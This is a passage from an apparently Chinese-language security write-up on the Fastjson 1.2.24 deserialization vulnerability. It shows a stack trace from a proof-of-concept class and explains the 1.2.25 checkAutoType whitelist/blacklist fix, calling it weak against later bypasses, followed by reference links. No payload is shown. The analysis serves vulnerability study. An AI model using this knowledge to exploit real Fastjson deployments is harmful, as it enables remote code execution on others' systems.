at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:193)
at com.alibaba.fastjson.JSON.parseObject(JSON.java:197)
at org.fastjson.JdbcRowSetImplPOC.main(JdbcRowSetImplPOC.java:14)

修复

从1.2.25开始对这个漏洞进行了修补,修补方式是将TypeUtils.loadClass替换为checkAutoType()函数:

img

使用白名单和黑名单的方式来限制反序列化的类,只有当白名单不通过时才会进行黑名单判断,这种方法显然是不安全的,白名单似乎没有起到防护作用,后续的绕过都是不在白名单内来绕过黑名单的方式,黑名单里面禁止了一些常见的反序列化漏洞利用链

https://xz.aliyun.com/news/11542

https://xz.aliyun.com/news/8533

https://klearcc.github.io/post/javasec_fastjson%E5%85%A8%E7%89%88%E6%9C%AC/

https://blog.csdn.net/Myon5/article/details/136573933

https://github.com/vulhub/vulhub/blob/master/fastjson/1.2.24-rce/README.zh-cn.md